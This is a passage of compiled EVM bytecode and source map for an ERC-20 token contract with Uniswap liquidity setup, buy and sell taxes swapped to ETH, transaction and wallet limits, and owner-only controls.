01526064016104b1565b6012546001600160a01b031663f305d71947306106d8816001600160a01b03165f9081526001602052604090205490565b5f5f6106eb5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610751573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610776919061170f565b50506014805462ff00ff60a01b19166201000160a01b17905550565b5f546001600160a01b031633146107bb5760405162461bcd60e51b81526004016104b1906116da565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108059030906107f66009600a6116b5565b610479906461f313f8806116c3565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610879919061173a565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fc919061173a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610946573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096a919061173a565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b1565b6001600160a01b038216610a4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b1565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b1565b5f8111610bd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b1565b601454600160b01b900460ff161580610bf95750601454600160a81b900460ff165b15610ca3576001600160a01b0383165f90815260016020526040902054610c21908290611755565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c50908290611768565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aa39085815260200190565b5f80546001600160a01b03858116911614801590610cce57505f546001600160a01b03848116911614155b15610fc4576001600160a01b0384165f9081526004602052604090205460ff16158015610d1357506001600160a01b0383165f9081526004602052604090205460ff16155b610d1b575f5ffd5b610d476064610d41600e5460115411610d3657600a54610d3a565b600c545b8590611139565b906111be565b6013549091506001600160a01b038581169116148015610d7557506012546001600160a01b03848116911614155b8015610d9957506001600160a01b0383165f9081526003602052604090205460ff16155b15610e7f57600654821115610df05760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104b1565b60075482610e12856001600160a01b03165f9081526001602052604090205490565b610e1c9190611768565b1115610e6a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104b1565b60118054905f610e798361177b565b91905055505b6013546001600160a01b038481169116148015610ea557506001600160a01b0384163014155b15610edd57610ecf6064610d41600f5460115411610ec557600b54610d3a565b600d548590611139565b905047610edb476111ff565b505b305f90815260016020526040902054601454600160a81b900460ff16158015610f1357506013546001600160a01b038581169116145b8015610f285750601454600160b01b900460ff165b8015610f35575060085481115b8015610f445750601054601154115b15610fc257601454600160b81b900460ff1615610f9d57436015541015610f9857610f82610f7d84610f788460095461123a565b61123a565b61124e565b478015610f9257610f92476111ff565b50436015555b610fc2565b610fb0610f7d84610f788460095461123a565b478015610fc057610fc0476111ff565b505b505b801561103c57305f90815260016020526040902054610fe390826113be565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110339085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461105e908361141c565b6001600160a01b0385165f908152600160205260409020556110a1611083838361141c565b6001600160a01b0385165f90815260016020526040902054906113be565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ea858561141c565b60405190815260200160405180910390a350505050565b5f81848411156111245760405162461bcd60e51b81526004016104b19190611489565b505f6111308486611755565b95945050505050565b5f825f0361114857505f6103fa565b5f61115383856116c3565b9050826111608583611793565b146111b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b1565b9392505050565b5f6111b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061145d565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611236573d5f5f3e3d5ffd5b5050565b5f81831161124857826111b7565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611294576112946117b2565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112eb573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130f919061173a565b81600181518110611322576113226117b2565b6001600160a01b039283166020918202929092010152601254611348913091168461098c565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113809085905f908690309042906004016117c6565b5f604051808303815f87803b158015611397575f5ffd5b505af11580156113a9573d5f5f3e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f806113ca8385611768565b9050838110156111b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b1565b5f6111b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611101565b5f818361147d5760405162461bcd60e51b81526004016104b19190611489565b505f6111308486611793565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610621575f5ffd5b5f5f604083850312156114e3575f5ffd5b82356114ee816114be565b946020939093013593505050565b5f5f5f6060848603121561150e575f5ffd5b8335611519816114be565b92506020840135611529816114be565b929592945050506040919091013590565b5f6020828403121561154a575f5ffd5b81356111b7816114be565b5f5f5f60608486031215611567575f5ffd5b8335611572816114be565b95602085013595506040909401359392505050565b5f5f60408385031215611598575f5ffd5b82356115a3816114be565b915060208301356115b3816114be565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561160d578085048111156115f1576115f16115be565b60018416156115ff57908102905b60019390931c9280026115d6565b935093915050565b5f82611623575060016103fa565b8161162f57505f6103fa565b8160018114611645576002811461164f5761166b565b60019150506103fa565b60ff841115611660576116606115be565b50506001821b6103fa565b5060208310610133831016604e8410600b841016171561168e575081810a6103fa565b61169a5f1984846115d2565b805f19048211156116ad576116ad6115be565b029392505050565b5f6111b760ff841683611615565b80820281158282048414176103fa576103fa6115be565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611721575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561174a575f5ffd5b81516111b7816114be565b818103818111156103fa576103fa6115be565b808201808211156103fa576103fa6115be565b5f6001820161178c5761178c6115be565b5060010190565b5f826117ad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118165783516001600160a01b03168352602093840193909201916001016117ef565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f7adb3af2af77fd2480ab1f219c6c28371b64a846c1a215296cd05f45ea9d8a64736f6c634300081b0033

Deployed Bytecode Sourcemap

3555:8177:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5766:83;;;;;;;;;;-1:-1:-1;5836:5:0;;;;;;;;;;;;-1:-1:-1;;;5836:5:0;;;;5766:83;;;;;;;:::i;:::-;;;;;;;;6727:161;;;;;;;;;;-1:-1:-1;6727:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6727:161:0;945:187:1;4306:45:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4306:45:0;1137:177:1;6037:95:0;;;;;;;;;;;;;:::i;6894:313::-;;;;;;;;;;-1:-1:-1;6894:313:0;;;;;:::i;:::-;;:::i;4254:45::-;;;;;;;;;;;;;;;;5948:83;;;;;;;;;;-1:-1:-1;5948:83:0;;3949:1;1974:36:1;;1962:2;1947:18;5948:83:0;1832:184:1;4196:51:0;;;;;;;;;;;;;;;;6138:119;;;;;;;;;;-1:-1:-1;6138:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6231:18:0;6204:7;6231:18;;;:9;:18;;;;;;;6138:119;3400:148;;;;;;;;;;;;;:::i;:::-;;11536:193;;;;;;;;;;;;;:::i;4142:47::-;;;;;;;;;;;;;;;;3186:79;;;;;;;;;;-1:-1:-1;3224:7:0;3251:6;3186:79;;-1:-1:-1;;;;;3251:6:0;;;2419:51:1;;2407:2;2392:18;3186:79:0;2273:203:1;5855:87:0;;;;;;;;;;-1:-1:-1;5927:7:0;;;;;;;;;;;;-1:-1:-1;;;5927:7:0;;;;5855:87;;6585:136;;;;;;;;;;-1:-1:-1;6585:136:0;;;;;:::i;:::-;-1:-1:-1;;6697:16:0;;-1:-1:-1;;;;;6668:18:0;;;;;;;:11;:18;;;;;;;;6687:6;;;;;6668:26;;;;;;;;;:45;6585:136;6263:167;;;;;;;;;;-1:-1:-1;6263:167:0;;;;;:::i;:::-;;:::i;10980:113::-;;;;;;;;;;;;;:::i;11193:302::-;;;;;;;;;;;;;:::i;6436:143::-;;;;;;;;;;-1:-1:-1;6436:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6544:18:0;;;6517:7;6544:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6436:143;5459:301;;;;;;;;;;;;;:::i;6727:161::-;6802:4;6819:39;2087:10;6842:7;6851:6;6819:8;:39::i;:::-;-1:-1:-1;6876:4:0;6727:161;;;;;:::o;6037:95::-;6090:7;4007:13;3949:1;4007:2;:13;:::i;:::-;3992:28;;:12;:28;:::i;:::-;6110:14;;6037:95;:::o;6894:313::-;6992:4;7009:36;7019:6;7027:9;7038:6;7009:9;:36::i;:::-;7056:121;7065:6;2087:10;7087:89;7125:6;7087:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7087:19:0;;;;;;:11;:19;;;;;;;;2087:10;7087:33;;;;;;;;;;:37;:89::i;:::-;7056:8;:121::i;:::-;-1:-1:-1;7195:4:0;6894:313;;;;;:::o;3400:148::-;3313:6;;-1:-1:-1;;;;;3313:6:0;2087:10;3313:22;3305:67;;;;-1:-1:-1;;;3305:67:0;;;;;;;:::i;:::-;;;;;;;;;3507:1:::1;3491:6:::0;;3470:40:::1;::::0;-1:-1:-1;;;;;3491:6:0;;::::1;::::0;3470:40:::1;::::0;3507:1;;3470:40:::1;3538:1;3521:19:::0;;-1:-1:-1;;;;;;3521:19:0::1;::::0;;3400:148::o;11536:193::-;3313:6;;-1:-1:-1;;;;;3313:6:0;2087:10;3313:22;3305:67;;;;-1:-1:-1;;;3305:67:0;;;;;;;:::i;:::-;11590:12:::1;:20:::0;;-1:-1:-1;;;;11590:20:0::1;::::0;;4007:13:::1;3949:1;4007:2;:13;:::i;:::-;3992:28;::::0;:12:::1;:28;:::i;:::-;11621:12;:22:::0;4007:13:::1;3949:1;4007:2;:13;:::i;:::-;3992:28;::::0;:12:::1;:28;:::i;:::-;11654:16;:24:::0;11694:27:::1;4007:13;3949:1;4007:2;:13;:::i;:::-;3992:28;::::0;:12:::1;:28;:::i;:::-;11694:27;::::0;1283:25:1;;;1271:2;1256:18;11694:27:0::1;;;;;;;11536:193::o:0;6263:167::-;6341:4;6358:42;2087:10;6382:9;6393:6;6358:9;:42::i;10980:113::-;3313:6;;-1:-1:-1;;;;;3313:6:0;2087:10;3313:22;3305:67;;;;-1:-1:-1;;;3305:67:0;;;;;;;:::i;:::-;11034:51:::1;::::0;11042:10:::1;::::0;11063:21:::1;11034:51:::0;::::1;;;::::0;::::1;::::0;;;11063:21;11042:10;11034:51;::::1;;;;;;;;;;;;;;;;;;;;10980:113::o:0;11193:302::-;3313:6;;-1:-1:-1;;;;;3313:6:0;2087:10;3313:22;3305:67;;;;-1:-1:-1;;;3305:67:0;;;;;;;:::i;:::-;11257:11:::1;::::0;-1:-1:-1;;;11257:11:0;::::1;;;11256:12;11248:47;;;::::0;-1:-1:-1;;;11248:47:0;;5666:2:1;11248:47:0::1;::::0;::::1;5648:21:1::0;5705:2;5685:18;;;5678:30;5744:25;5724:18;;;5717:53;5787:18;;11248:47:0::1;5464:347:1::0;11248:47:0::1;11306:9;::::0;-1:-1:-1;;;;;11306:9:0::1;:25;11339:21;11370:4;11376:24;11370:4:::0;-1:-1:-1;;;;;6231:18:0;6204:7;6231:18;;;:9;:18;;;;;;;6138:119;11376:24:::1;11401:1;11403;11405:7;3224::::0;3251:6;-1:-1:-1;;;;;3251:6:0;;3186:79;11405:7:::1;11306:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11306:123:0;;;-1:-1:-1;;;;;6137:32:1;;;11306:123:0::1;::::0;::::1;6119:51:1::0;6186:18;;;6179:34;;;;6229:18;;;6222:34;;;;6272:18;;;6265:34;6336:32;;;6315:19;;;6308:61;11413:15:0::1;6385:19:1::0;;;6378:35;6091:19;;11306:123:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11440:11:0::1;:18:::0;;-1:-1:-1;;;;11469:18:0;-1:-1:-1;;;11469:18:0;;;-1:-1:-1;11193:302:0:o;5459:301::-;3313:6;;-1:-1:-1;;;;;3313:6:0;2087:10;3313:22;3305:67;;;;-1:-1:-1;;;3305:67:0;;;;;;;:::i;:::-;5512:9:::1;:74:::0;;-1:-1:-1;;;;;;5512:74:0::1;5543:42;5512:74:::0;;::::1;::::0;;;5597:52:::1;::::0;5614:4:::1;::::0;4007:13:::1;3949:1;4007:2;:13;:::i;:::-;3992:28;::::0;:12:::1;:28;:::i;5597:52::-;5688:9;;;;;;;;;-1:-1:-1::0;;;;;5688:9:0::1;-1:-1:-1::0;;;;;5688:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5670:49:0::1;;5728:4;5735:9;;;;;;;;;-1:-1:-1::0;;;;;5735:9:0::1;-1:-1:-1::0;;;;;5735:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5670:82;::::0;-1:-1:-1;;;;;;5670:82:0::1;::::0;;;;;;-1:-1:-1;;;;;7333:32:1;;;5670:82:0::1;::::0;::::1;7315:51:1::0;7402:32;;7382:18;;;7375:60;7288:18;;5670:82:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5660:7;:92:::0;;-1:-1:-1;;;;;;5660:92:0::1;-1:-1:-1::0;;;;;5660:92:0;;;::::1;::::0;;;::::1;::::0;;5459:301::o;7213:335::-;-1:-1:-1;;;;;7306:19:0;;7298:68;;;;-1:-1:-1;;;7298:68:0;;7648:2:1;7298:68:0;;;7630:21:1;7687:2;7667:18;;;7660:30;7726:34;7706:18;;;7699:62;-1:-1:-1;;;7777:18:1;;;7770:34;7821:19;;7298:68:0;7446:400:1;7298:68:0;-1:-1:-1;;;;;7385:21:0;;7377:68;;;;-1:-1:-1;;;7377:68:0;;8053:2:1;7377:68:0;;;8035:21:1;8092:2;8072:18;;;8065:30;8131:34;8111:18;;;8104:62;-1:-1:-1;;;8182:18:1;;;8175:32;8224:19;;7377:68:0;7851:398:1;7377:68:0;-1:-1:-1;;;;;7456:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7508:32;;1283:25:1;;;7508:32:0;;1256:18:1;7508:32:0;;;;;;;;7213:335;;;:::o;7554:2845::-;-1:-1:-1;;;;;7642:18:0;;7634:68;;;;-1:-1:-1;;;7634:68:0;;8456:2:1;7634:68:0;;;8438:21:1;8495:2;8475:18;;;8468:30;8534:34;8514:18;;;8507:62;-1:-1:-1;;;8585:18:1;;;8578:35;8630:19;;7634:68:0;8254:401:1;7634:68:0;-1:-1:-1;;;;;7721:16:0;;7713:64;;;;-1:-1:-1;;;7713:64:0;;8862:2:1;7713:64:0;;;8844:21:1;8901:2;8881:18;;;8874:30;8940:34;8920:18;;;8913:62;-1:-1:-1;;;8991:18:1;;;8984:33;9034:19;;7713:64:0;8660:399:1;7713:64:0;7805:1;7796:6;:10;7788:64;;;;-1:-1:-1;;;7788:64:0;;9266:2:1;7788:64:0;;;9248:21:1;9305:2;9285:18;;;9278:30;9344:34;9324:18;;;9317:62;-1:-1:-1;;;9395:18:1;;;9388:39;9444:19;;7788:64:0;9064:405:1;7788:64:0;7868:11;;-1:-1:-1;;;7868:11:0;;;;7867:12;;:22;;-1:-1:-1;7883:6:0;;-1:-1:-1;;;7883:6:0;;;;7867:22;7863:217;;;-1:-1:-1;;;;;7924:15:0;;;;;;:9;:15;;;;;;:24;;7942:6;;7924:24;:::i;:::-;-1:-1:-1;;;;;7906:15:0;;;;;;;:9;:15;;;;;;:42;;;;7979:13;;;;;;;:22;;7995:6;;7979:22;:::i;:::-;-1:-1:-1;;;;;7963:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8021:26;;;;;;;;;;8040:6;1283:25:1;;1271:2;1256:18;;1137:177;7863:217:0;8090:15;3251:6;;-1:-1:-1;;;;;8122:15:0;;;3251:6;;8122:15;;;;:32;;-1:-1:-1;3224:7:0;3251:6;-1:-1:-1;;;;;8141:13:0;;;3251:6;;8141:13;;8122:32;8118:1936;;;-1:-1:-1;;;;;8180:11:0;;;;;;:5;:11;;;;;;;;8179:12;:26;;;;-1:-1:-1;;;;;;8196:9:0;;;;;;:5;:9;;;;;;;;8195:10;8179:26;8171:35;;;;;;8231:78;8305:3;8231:69;8258:12;;8243:14;;:27;8242:57;;8285:14;;8242:57;;;8272:12;;8242:57;8231:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8336:7;;8221:88;;-1:-1:-1;;;;;;8328:15:0;;;8336:7;;8328:15;:43;;;;-1:-1:-1;8361:9:0;;-1:-1:-1;;;;;8347:24:0;;;8361:9;;8347:24;;8328:43;:71;;;;-1:-1:-1;;;;;;8377:22:0;;;;;;:18;:22;;;;;;;;8375:24;8328:71;8324:308;;;8439:12;;8429:6;:22;;8421:60;;;;-1:-1:-1;;;8421:60:0;;9939:2:1;8421:60:0;;;9921:21:1;9978:2;9958:18;;;9951:30;10017:27;9997:18;;;9990:55;10062:18;;8421:60:0;9737:349:1;8421:60:0;8534:16;;8524:6;8508:13;8518:2;-1:-1:-1;;;;;6231:18:0;6204:7;6231:18;;;:9;:18;;;;;;;6138:119;8508:13;:22;;;;:::i;:::-;:42;;8500:81;;;;-1:-1:-1;;;8500:81:0;;10293:2:1;8500:81:0;;;10275:21:1;10332:2;10312:18;;;10305:30;10371:28;10351:18;;;10344:56;10417:18;;8500:81:0;10091:350:1;8500:81:0;8600:14;:16;;;:14;:16;;;:::i;:::-;;;;;;8324:308;8655:7;;-1:-1:-1;;;;;8649:13:0;;;8655:7;;8649:13;:37;;;;-1:-1:-1;;;;;;8666:20:0;;8681:4;8666:20;;8649:37;8646:357;;;8717:81;8794:3;8717:72;8744:13;;8729:14;;:28;8728:60;;8773:15;;8728:60;;;8759:13;;8717:6;;:10;:72::i;:81::-;8707:91;-1:-1:-1;8846:21:0;8937:31;8946:21;8937:8;:31::i;:::-;8688:315;8646:357;9066:4;9017:28;6231:18;;;:9;:18;;;;;;9092:6;;-1:-1:-1;;;9092:6:0;;;;9091:7;:24;;;;-1:-1:-1;9108:7:0;;-1:-1:-1;;;;;9102:13:0;;;9108:7;;9102:13;9091:24;:39;;;;-1:-1:-1;9119:11:0;;-1:-1:-1;;;9119:11:0;;;;9091:39;:75;;;;;9155:11;;9134:20;:32;9091:75;:107;;;;;9185:13;;9170:14;;:28;9091:107;9087:956;;;9223:12;;-1:-1:-1;;;9223:12:0;;;;9219:809;;;9281:12;9264:14;;:29;9260:429;;;9322:67;9339:49;9343:6;9350:37;9354:20;9375:11;;9350:3;:37::i;:::-;9339:3;:49::i;:::-;9322:16;:67::i;:::-;9445:21;9496:22;;9493:117;;9551:31;9560:21;9551:8;:31::i;:::-;-1:-1:-1;9653:12:0;9636:14;:29;9260:429;9219:809;;;9737:67;9754:49;9758:6;9765:37;9769:20;9790:11;;9765:3;:37::i;9737:67::-;9856:21;9903:22;;9900:109;;9954:31;9963:21;9954:8;:31::i;:::-;9714:314;9219:809;8156:1898;8118:1936;10067:9;;10064:156;;10133:4;10115:24;;;;:9;:24;;;;;;:37;;10144:7;10115:28;:37::i;:::-;10108:4;10090:24;;;;:9;:24;;;;;;;:62;;;;10170:38;;-1:-1:-1;;;;;10170:38:0;;;;;;;10200:7;1283:25:1;;1271:2;1256:18;;1137:177;10170:38:0;;;;;;;;10064:156;-1:-1:-1;;;;;10246:15:0;;;;;;:9;:15;;;;;;:27;;10266:6;10246:19;:27::i;:::-;-1:-1:-1;;;;;10230:15:0;;;;;;:9;:15;;;;;:43;10298:38;10316:19;:6;10327:7;10316:10;:19::i;:::-;-1:-1:-1;;;;;10298:13:0;;;;;;:9;:13;;;;;;;:17;:38::i;:::-;-1:-1:-1;;;;;10284:13:0;;;;;;;:9;:13;;;;;:52;;;;10352:39;;;10371:19;:6;10382:7;10371:10;:19::i;:::-;10352:39;;1283:25:1;;;1271:2;1256:18;10352:39:0;;;;;;;7623:2776;7554:2845;;;:::o;1186:190::-;1272:7;1308:12;1300:6;;;;1292:29;;;;-1:-1:-1;;;1292:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1332:9:0;1344:5;1348:1;1344;:5;:::i;:::-;1332:17;1186:190;-1:-1:-1;;;;;1186:190:0:o;1384:246::-;1442:7;1466:1;1471;1466:6;1462:47;;-1:-1:-1;1496:1:0;1489:8;;1462:47;1519:9;1531:5;1535:1;1531;:5;:::i;:::-;1519:17;-1:-1:-1;1564:1:0;1555:5;1559:1;1519:17;1555:5;:::i;:::-;:10;1547:56;;;;-1:-1:-1;;;1547:56:0;;11010:2:1;1547:56:0;;;10992:21:1;11049:2;11029:18;;;11022:30;11088:34;11068:18;;;11061:62;-1:-1:-1;;;11139:18:1;;;11132:31;11180:19;;1547:56:0;10808:397:1;1547:56:0;1621:1;1384:246;-1:-1:-1;;;1384:246:0:o;1638:132::-;1696:7;1723:39;1727:1;1730;1723:39;;;;;;;;;;;;;;;;;:3;:39::i;11099:88::-;11152:10;;:27;;-1:-1:-1;;;;;11152:10:0;;;;:27;;;;;11172:6;;11152:10;:27;:10;:27;11172:6;11152:10;:27;;;;;;;;;;;;;;;;;;;;;11099:88;:::o;10876:98::-;10933:7;10960:1;10958;:3;10957:9;;10965:1;10957:9;;;-1:-1:-1;10963:1:0;10876:98;-1:-1:-1;10876:98:0:o;10405:465::-;5080:6;:13;;-1:-1:-1;;;;5080:13:0;-1:-1:-1;;;5080:13:0;;;10507:16:::1;::::0;;10521:1:::1;10507:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10507:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10507:16:0::1;10483:40;;10552:4;10534;10539:1;10534:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10534:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10578:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;10578:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;10534:7;;10578:16;;;;;:9;:16:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10568:4;10573:1;10568:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10568:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;10637:9:::1;::::0;10605:56:::1;::::0;10622:4:::1;::::0;10637:9:::1;10649:11:::0;10605:8:::1;:56::i;:::-;10672:9;::::0;:190:::1;::::0;-1:-1:-1;;;10672:190:0;;-1:-1:-1;;;;;10672:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10747:11;;10672:9:::1;::::0;10789:4;;10816::::1;::::0;10836:15:::1;::::0;10672:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5116:6:0;:14;;-1:-1:-1;;;;5116:14:0;;;-1:-1:-1;;;;10405:465:0:o;855:179::-;913:7;;945:5;949:1;945;:5;:::i;:::-;933:17;;974:1;969;:6;;961:46;;;;-1:-1:-1;;;961:46:0;;12640:2:1;961:46:0;;;12622:21:1;12679:2;12659:18;;;12652:30;12718:29;12698:18;;;12691:57;12765:18;;961:46:0;12438:351:1;1042:136:0;1100:7;1127:43;1131:1;1134;1127:43;;;;;;;;;;;;;;;;;:3;:43::i;1778:189::-;1864:7;1899:12;1892:5;1884:28;;;;-1:-1:-1;;;1884:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1923:9:0;1935:5;1939:1;1935;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:487::-;2558:6;2566;2574;2627:2;2615:9;2606:7;2602:23;2598:32;2595:52;;;2643:1;2640;2633:12;2595:52;2682:9;2669:23;2701:31;2726:5;2701:31;:::i;:::-;2751:5;2829:2;2814:18;;2801:32;;-1:-1:-1;2932:2:1;2917:18;;;2904:32;;2481:487;-1:-1:-1;;;2481:487:1:o;2973:388::-;3041:6;3049;3102:2;3090:9;3081:7;3077:23;3073:32;3070:52;;;3118:1;3115;3108:12;3070:52;3157:9;3144:23;3176:31;3201:5;3176:31;:::i;:::-;3226:5;-1:-1:-1;3283:2:1;3268:18;;3255:32;3296:33;3255:32;3296:33;:::i;:::-;3348:7;3338:17;;;2973:388;;;;;:::o;3366:127::-;3427:10;3422:3;3418:20;3415:1;3408:31;3458:4;3455:1;3448:15;3482:4;3479:1;3472:15;3498:375;3586:1;3604:5;3618:249;3639:1;3629:8;3626:15;3618:249;;;3689:4;3684:3;3680:14;3674:4;3671:24;3668:50;;;3698:18;;:::i;:::-;3748:1;3738:8;3734:16;3731:49;;;3762:16;;;;3731:49;3845:1;3841:16;;;;;3801:15;;3618:249;;;3498:375;;;;;;:::o;3878:902::-;3927:5;3957:8;3947:80;;-1:-1:-1;3998:1:1;4012:5;;3947:80;4046:4;4036:76;;-1:-1:-1;4083:1:1;4097:5;;4036:76;4128:4;4146:1;4141:59;;;;4214:1;4209:174;;;;4121:262;;4141:59;4171:1;4162:10;;4185:5;;;4209:174;4246:3;4236:8;4233:17;4230:43;;;4253:18;;:::i;:::-;-1:-1:-1;;4309:1:1;4295:16;;4368:5;;4121:262;;4467:2;4457:8;4454:16;4448:3;4442:4;4439:13;4435:36;4429:2;4419:8;4416:16;4411:2;4405:4;4402:12;4398:35;4395:77;4392:203;;;-1:-1:-1;4504:19:1;;;4580:5;;4392:203;4627:42;-1:-1:-1;;4652:8:1;4646:4;4627:42;:::i;:::-;4705:6;4701:1;4697:6;4693:19;4684:7;4681:32;4678:58;;;4716:18;;:::i;:::-;4754:20;;3878:902;-1:-1:-1;;;3878:902:1:o;4785:140::-;4843:5;4872:47;4913:4;4903:8;4899:19;4893:4;4872:47;:::i;4930:168::-;5003:9;;;